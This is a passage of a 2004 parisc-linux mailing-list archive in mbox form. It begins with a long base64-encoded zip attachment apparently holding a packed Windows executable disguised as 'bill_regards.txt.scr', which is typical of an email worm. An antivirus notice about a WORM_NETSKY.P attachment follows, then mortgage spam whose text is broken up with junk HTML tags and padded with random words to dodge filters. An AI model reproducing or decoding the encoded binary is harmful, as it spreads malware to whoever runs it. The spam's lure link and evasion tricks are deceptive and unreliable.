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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgADAAAA
IAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEAAABAAACAAgAAAGgAAIAAAAAAAAAAAAAA
AAAAAAEABwQAAFgAAADUwAEA6AIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAcEAACAAAAA
wMMBACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBlAAAAqAAAgAAAAAAAAAAAAAAAAAAA
AQAHBAAAwAAAAOzEAQAiAAAAAAAAAAAAAADQkAEAKAAAACAAAABAAAAAAQAEAAAAAACAAgAA
AAAAAAAAAAAAAAAAAAAAAMz//wBoV1gAAAAAAICAgAD///8AwMDAAP8AAAAA//8AvwAAAAAA
/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiIRIiIiIiIiIiIiIiIiIiIiE1VVVVVVVVVVVV
VSUiIiIjRERERERERERERERSUiIiI0RERERERFVUREVVUlIiIiNEiIiIREmZRESZlFJSIiIj
RERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIiIiNEREREREREmZmZVFJSIiIjRIiIiIiI
RElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiIiIiIRElZVFJSIiIjREREREREREREmVRS
UiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERERFJSIiIjRIiIiIiIiIiIiERSUiIiI0RE
REREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0QiIiIiRIiI
iIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJEiIiIiERSUiIiI0Q0QndyREREREREUlIi
IiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0Q0QmZiREREREREUlIiIiNENEJm
YkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0REREREREREREREUlIiIiNCRCRCRCRCRCRC
RDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQzQzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAA
AA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH
4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA
AAfgAAAH4AAAB/gAAA//////uJMBACgAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD/
/wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAd3d3d3dwAAD//5//n3AAAP//eZmfcAAA9ET3
n59wAAD///95n3AAAPRERPefcAAA//////9wAAD0RERET3AAAP//////cAAA9ERERE9wAAD/
/////3AAAP//////cAAA8PDw8PDwAAAPj4+Pj4AAAAAAAAAAAADABwAAwAMAAMADAADAAwAA
wAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAMAAMAHAADqrwAA4JQBAAAA
AQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAoAQAAAgAAAAAAAAAAAAAAAAAAANTFAQCcxQEA
AAAAAAAAAAAAAAAA4cUBAKzFAQAAAAAAAAAAAAAAAADuxQEAtMUBAAAAAAAAAAAAAAAAAPvF
AQC8xQEAAAAAAAAAAAAAAAAABsYBAMTFAQAAAAAAAAAAAAAAAAASxgEAzMUBAAAAAAAAAAAA
AAAAAAAAAAAAAAAAHMYBACrGAQA6xgEAAAAAAEjGAQAAAAAAVsYBAAAAAABoxgEAAAAAAHTG
AQAAAAAACwAAgAAAAABLRVJORUwzMi5ETEwAQURWQVBJMzIuZGxsAGlwaGxwYXBpLmRsbABV
U0VSMzIuZGxsAFdJTklORVQuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJv
Y0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnT3BlbktleUEAAABHZXROZXR3b3JrUGFyYW1z
AAB3c3ByaW50ZkEAAABJbnRlcm5ldEdldENvbm5lY3RlZFN0YXRlAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEsBAhQACgAAAAAA0yN+MK52xboAXgAA
AF4AABQAAAAAAAAAAAAgAAAAAAAAAGJpbGxfcmVnYXJkcy50eHQuc2NyUEsFBgAAAAABAAEA
QgAAADJeAAAAAA==


------=_NextPart_000_0002_000074DB.00002D8E--




From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Tue, 30 Mar 2004 06:53:59 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <102701c41613$03c728f0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623320 7464 80.91.229.3 (22 Nov 2014 02:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:40 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Mon Mar 29 21:54:21 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0605D4966
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 29 Mar 2004 21:54:21 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88660.dip0.t-ipconnect.de
	[217.232.134.96])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2U4sIo31898
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 06:54:18 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Tue, 30 Mar 2004 06:53:59 +0200
thread-index: AcQWEwPHzyGw2WX/SiSyX4DUjuXoZw==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 30 Mar 2004 04:53:59.0929 (UTC)
	FILETIME=[03ED4E90:01C41613]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Mar 2004 04:54:21 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21243

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/30/2004 6:53:58 AM
Engine/Pattern = 6.860-1001/1.842.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Truman Mcdowell <extjrtjxbskm@paris.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] granule indemnify
Date: Tue, 30 Mar 2004 08:46:59 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <839986656.59793423754580@paris.com>
Reply-To: Truman Mcdowell <extjrtjxbskm@paris.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623320 7467 80.91.229.3 (22 Nov 2014 02:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: dhtcmpnoalph@comic.com  Tue Mar 30 07:47:05 2004
Return-Path: <dhtcmpnoalph@comic.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from host26-60.pool80181.interbusiness.it
	(host26-60.pool80181.interbusiness.it [80.181.60.26])
	by dsl2.external.hp.com (Postfix) with SMTP id C1B71493C
	for <parisc-linux@parisc-linux.org>;
	Tue, 30 Mar 2004 07:47:03 -0700 (MST)
Original-Received: from 106.161.183.147 by 80.181.60.26 with ypszgixem lteannu;
	Tue, 30 Mar 2004 08:46:59 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Mar 2004 14:47:05 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21244

<html><body>
Hi again.<br>
I sen<fmcixe>t you an email 2 da</ztwmzfwvf>ys ago and I want to confirm 
ev<pubgle>erything now. Please read in</guyzmlwgj>fo below <br>
and l<xqyxkts>et me know if you h</wksongtm>ave any questions. 
We are ac<touykh>cepting your&nbsp;&nbsp; mo rtgage appl</jyeelukyh>ication. If you <br>
have b<mfujkez>ad cr.edit, it is ok. Yo</zhylwoxm>u can get 
$2<ifxadzfs>00,0</xvcmwquq>00 &nbsp;&nbsp;loa n &nbsp;&nbsp;for 
$<baigdztbg>350/mon</yargult>th payment.<br>
Appr oval &nbsp;&nbsp;proc<zmhddvpi>ess will take 1 mi</ebusaq>nute. Just 
vi<lnbise>sit link below and fill s</vkeawjwut>hort
<a href="http://www.yourchanceathome.net/form.asp?sid=1">form.</a><br>
<br>Thank you.<br><br>
Best regards,<br>
Truman Mcdowell<br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<small><br><br>
re<mbgsmtwcf>m ve www.piz</rpqfw>davsem.com<br><br>
gmtbtqug- nzzesyy cgiaov bdhzpa vkehznk qoueyd poqxfdkkq jsknxq hshuteqtn- buwbsaekb jiodzoxb zjdqlz <br>
gsbndc zmtspza fysumgy izyyov qksalfbh faonyrfw zxwyhttdc, wdtasr tsqkw <br>
xhypdf eduxgiwp lxlklya. sdmmnl mhovne fhkfog hnuxwnho ehbbyngb npxduttdd mqyipesev fkmsd <br>
xdgtnnbjs mnanbwstj zsgxghip qkrccbc- pxbyid qfqsacr lextnkug dpcldm. zpbuibrdn cytqr hhxrjjfz tzszrx <br>
gxbfxwd, yqcaxm- uexjkihdb tavuzq umphjbn. ziejaami joopmumld axnzfm <br>
